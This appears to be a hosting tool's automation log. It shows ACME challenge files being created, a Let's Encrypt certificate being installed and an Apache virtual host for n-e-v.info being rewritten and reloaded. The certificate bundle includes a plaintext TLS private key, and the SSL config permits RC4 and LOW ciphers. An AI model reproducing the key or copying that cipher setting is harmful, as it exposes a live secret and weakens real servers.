-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-20 06:00:22: Establishing a connection
2026-07-20 06:00:23: Establishing a connection
2026-07-20 06:00:23: 

PUT: /tmp/pkp899727

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-20 06:00:23: 

chmod 755 /tmp/pkp899727; /tmp/pkp899727; rm /tmp/pkp899727

2026-07-20 06:00:23: 


1


2026-07-20 06:00:24: Establishing a connection
2026-07-20 06:00:24: 

PUT: /tmp/pkp111260

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > xkKDT9gXXRUz3LzjNPdN3wd0PYYJTddea_cNtX0WoZQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xkKDT9gXXRUz3LzjNPdN3wd0PYYJTddea_cNtX0WoZQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xkKDT9gXXRUz3LzjNPdN3wd0PYYJTddea_cNtX0WoZQ


2026-07-20 06:00:24: 

chmod 755 /tmp/pkp111260; /tmp/pkp111260; rm /tmp/pkp111260

2026-07-20 06:00:24: 




2026-07-21 06:00:02: Establishing a connection
2026-07-21 06:00:03: Establishing a connection
2026-07-21 06:00:03: 

PUT: /tmp/pkp708007

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-21 06:00:04: 

chmod 755 /tmp/pkp708007; /tmp/pkp708007; rm /tmp/pkp708007

2026-07-21 06:00:04: 


1


2026-07-21 06:00:05: Establishing a connection
2026-07-21 06:00:05: 

PUT: /tmp/pkp614887

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"


2026-07-21 06:00:05: 

chmod 755 /tmp/pkp614887; /tmp/pkp614887; rm /tmp/pkp614887

2026-07-21 06:00:05: 




2026-07-22 06:00:03: Establishing a connection
2026-07-22 06:00:04: Establishing a connection
2026-07-22 06:00:05: 

PUT: /tmp/pkp651888

#!/bin/bash
if [ -d "/var/www/n-e-v_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-22 06:00:06: 

chmod 755 /tmp/pkp651888; /tmp/pkp651888; rm /tmp/pkp651888

2026-07-22 06:00:07: 


1


2026-07-22 06:00:08: Establishing a connection
2026-07-22 06:00:09: 

PUT: /tmp/pkp634076

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
cat > 8Fkc2qWXUuZjdajyKigZZcdTR5-JZUqB4ekTx950NA0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8Fkc2qWXUuZjdajyKigZZcdTR5-JZUqB4ekTx950NA0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8Fkc2qWXUuZjdajyKigZZcdTR5-JZUqB4ekTx950NA0
cat > UjNToeziY-if0wBOcY6EwsW1xieUkS9MjAWJvp6DK1Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UjNToeziY-if0wBOcY6EwsW1xieUkS9MjAWJvp6DK1Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UjNToeziY-if0wBOcY6EwsW1xieUkS9MjAWJvp6DK1Q


2026-07-22 06:00:10: 

chmod 755 /tmp/pkp634076; /tmp/pkp634076; rm /tmp/pkp634076

2026-07-22 06:00:11: 




2026-07-22 06:00:21: Establishing a connection
2026-07-22 06:00:23: 

PUT: /tmp/pkp900743

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
cd "/var/www/n-e-v_www/.well-known/acme-challenge/"
rm 8Fkc2qWXUuZjdajyKigZZcdTR5-JZUqB4ekTx950NA0
rm UjNToeziY-if0wBOcY6EwsW1xieUkS9MjAWJvp6DK1Q


2026-07-22 06:00:24: 

chmod 755 /tmp/pkp900743; /tmp/pkp900743; rm /tmp/pkp900743

2026-07-22 06:00:24: 




2026-07-22 06:00:24: Establishing a connection
2026-07-22 06:00:25: 

PUT: /tmp/pkp698895

#!/bin/bash
temp_file=$(mktemp)
TARGET=27a452e75854403499effc104b58be29.crt

cat > $temp_file <<'endmsg'
59:be:65:6d:7b:01:5f:b7:d9:44:9e:48:89:e1:9e:61

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBVDh45Cf9IRSZyXjPfn9KdvZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzIyMDUwMTUwWhcNMjYxMDIwMDUwMTQ5WjAVMRMwEQYDVQQD
EwpuLWUtdi5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkBtL
8vGRvim6LGXClVHzTZiqo8bGm6yuYvJWsuj/yjj3NGk4ox8itQXMBZ3gYzRgrAu1
7BPpjmyn+DHZeYdwDlRT60gecE13ky/MexKC2RIfO/1YAJX4oZksAqe7GBYSY3O1
lClePaciLj40AFcbMgzDdZ1auEXKdvtZ9a2gUXzj7j3phQ0KgTcLDUrvDsW2JhD1
+B9zr0k3Ma51Augwoys8s2ON0QaH3ryyUvhfUjy7EoUns+R8wfUGKJ1xRHpCeEX6
zIU7RlBDoLYAU1RZzJV/JCZrxjvWBNEm4IYuFKHet8Ip5mOccQhlcM2VA86aPRqK
AstXd3dRoxpNqZ4pxwIDAQABo4ICJzCCAiMwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFNsvRAw0d8tc
fAWDWyAeDgdZqnshMB8GA1UdIwQYMBaAFEAVLSZ57TIgnt+ach3WMh+BDIEMMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMi5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKbi1lLXYuaW5mb4IOd3d3Lm4tZS12LmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxl
bmNyLm9yZy85MC5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDCMX5XRRmj
Re5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ+IaShtAAAEAwBGMEQCIHv+CkMW
+3A4ynEzX68/+4ifa1dZk9Eto93xKoXJY9gpAiAWxh1iEEMvawxVUGUKHG/nkZgB
+2toTG4mMWbkwn1R8gB+AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6
AAABn4hpKnMACAAABQAWsTPWBAMARzBFAiBMKLnxFfRZddfjZR5TMhjeefOdsk2+
SvKtUH4JJlG2zwIhAKq0E6ArhDMZlLnT1GHgj4IswLSKJQFK7sSGkP00l/iwMA0G
CSqGSIb3DQEBCwUAA4IBAQAOoGSwE5317Gx8hDKITiw0tzz34BBmRKSqB/Mo2hQX
Aiz20cowOlwpyGuD+uGh0Ni1JPdNcPi0uZvTV8t0bRLTJpwBxTlUiU5v9YnHEZox
WfyvFUk9uIP22gba2bQRud970cQ4CobP2EGX/25Y4UstxZvmi+JluwxD5e0ivm0L
9L7SxXkbUX7bPnEsU0ip9ePLUzWg4SXvu0CdiOzg7egoTnfeit1F7BYZxo0VswuF
lmJ5Tqa9jghHGKmsZ3ptDN7yeFt0DSpBkyuD8bmNXhBU/Uu6Zf9OazibK+A1DrEV
ilUosghFwCPL6EOSx8XnpTG5hbRD2s7mbbIQMxWX03Vz
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCQG0vy8ZG+Kbos
ZcKVUfNNmKqjxsabrK5i8lay6P/KOPc0aTijHyK1BcwFneBjNGCsC7XsE+mObKf4
Mdl5h3AOVFPrSB5wTXeTL8x7EoLZEh87/VgAlfihmSwCp7sYFhJjc7WUKV49pyIu
PjQAVxsyDMN1nVq4Rcp2+1n1raBRfOPuPemFDQqBNwsNSu8OxbYmEPX4H3OvSTcx
rnUC6DCjKzyzY43RBofevLJS+F9SPLsShSez5HzB9QYonXFEekJ4RfrMhTtGUEOg
tgBTVFnMlX8kJmvGO9YE0Sbghi4Uod63winmY5xxCGVwzZUDzpo9GooCy1d3d1Gj
Gk2pninHAgMBAAECggEAMGdKym6DsqkXZKRFiJw/Kfg2kM5Kla2Z4ZhesLd8e3NI
7WzOXlQt9zncPqK55PiJ5CAG2iYSFAnBHae40Y5BgD6o9WWC+9u5Z1Ht0AT2uGzS
2vaMoZ2+JqFpW/b06/E1+fu6qOqAQhsqavfvxZF8jAIngRD6kNy4VeC1ZcUNDXFx
mZEuBBQ8V9Q6JSjbZW4lChzF8aUGzaelZka4RR29koxmgzEr8YVnW2rsq54vM8fL
w21WLEay8Tqa0+2Ey5F1ejGb3KTz98pAAbVmtzohbTWYo4aPk9wrCJS98I7LIq+t
EiHl40Lwm5IveGWIDxIgGY6Y+ZD9S0KsNxMtL2JZAQKBgQDEgxJ6iGP4+P3AH8FW
eNsS/rXm1UpIa0Ad+mkd+VyB0N1NSUo7LTWgJz2EiZdxsuJMcNTKfPa/uRVmZzCb
xyYQS1O3z9UW4BSr1mboC+EgSEFujrW4tIIbxAgn3uwS+QIw0aFEeHjGpc9JBpuz
WRGqRxmvaYj0lEYEMqybqL4HgQKBgQC7uwI5NYyJU6bgsB9C2YMy+/rZAe7mXV74
VB9LJ2MEp8mOVhCiTjUSRWt6O4wKc8/9BT9yR7MrdSBIijFRQuBIyY9ITH3lSgFm
vNBi99Ao89rdLhMyeiBb6uRvh5yZIZGQXLzwxCnkSjU57HfotRkHgLM+fn0X9KwO
0TpTKIyVRwKBgEQ5gVPbQGIzB94I6FW+Ncjdd4fBqz2DRsphotcOOOi0+/AWLthm
tMR6eygloNePlHOXhLkcM4qSlnRsBPtAY92qWVFqrX94opSaJjYP0cQkcdsRXtPW
j4lWQMKe6XUY0ILkdMnRzZSiAlpHGg1lMfXdI3S7/hlz1O8mLLkKF5eBAoGAFp71
KKGcOpv62s4+JhcBqS4VzvpdqCKOJAw27R5k3xW8wsr6HCSiXn5A8iyktkm4QTvV
plafb1gguLz2Ll2Jmxu2iTa2YN+nBZMw5QwJaDXiJI69v3JZ3dmTByFnLEiQOr4C
Al0Q0zJh8YXd+QuBZZcLgjdJqY5RAUQS7BxRvFcCgYB7xpcQsG35mVtV7Phn89GW
oPxJNfmGkcly79nu5Q6emT7NkiBKXuogNzEtSleP0rJFJvys2cHqN8O7sc7olsNL
5ZTb0v6qxEimQWArG/qciilXQkGaVKhGBxMcw5N1Ui0o40wsOOsRkrtBrHzWLOc5
NHkgldPiOekm8kIcSMKfdA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-22 06:00:26: 

chmod 755 /tmp/pkp698895; /tmp/pkp698895; rm /tmp/pkp698895

2026-07-22 06:00:26: 


dir=/etc/ssl/certs


2026-07-22 06:00:26: 

PUT: /tmp/pkp583281

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/n-e-v_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-22 06:00:27: 

chmod 755 /tmp/pkp583281; /tmp/pkp583281; rm /tmp/pkp583281

2026-07-22 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/n-e-v_www_info.conf 38

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2026-07-22 06:00:27: 

PUT: /tmp/pkp890234

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=n-e-v_www_info.conf
TARGET=/etc/apache2/sites-enabled/n-e-v_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	n-e-v.info
    ServerAlias	www.n-e-v.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/27a452e75854403499effc104b58be29.crt
    DocumentRoot	/var/www/n-e-v_www
    <Directory /var/www/n-e-v_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/n-e-v/www_secure_access.log combined
    ErrorLog	/var/log/apache2/n-e-v/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/n-e-v_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/n-e-v_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/n-e-v_www_info.conf= 1'
fi


2026-07-22 06:00:28: 

chmod 755 /tmp/pkp890234; /tmp/pkp890234; rm /tmp/pkp890234

2026-07-22 06:00:28: 




2026-07-22 06:00:28: 

PUT: /tmp/pkp638544

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-22 06:00:29: 

chmod 755 /tmp/pkp638544; /tmp/pkp638544; rm /tmp/pkp638544

2026-07-22 06:00:29: 


.


2026-07-22 06:00:29: Establishing a connection
2026-07-22 06:00:30: 

PUT: /tmp/pkp455921

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-22 06:00:31: 

chmod 755 /tmp/pkp455921; /tmp/pkp455921; rm /tmp/pkp455921

2026-07-22 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
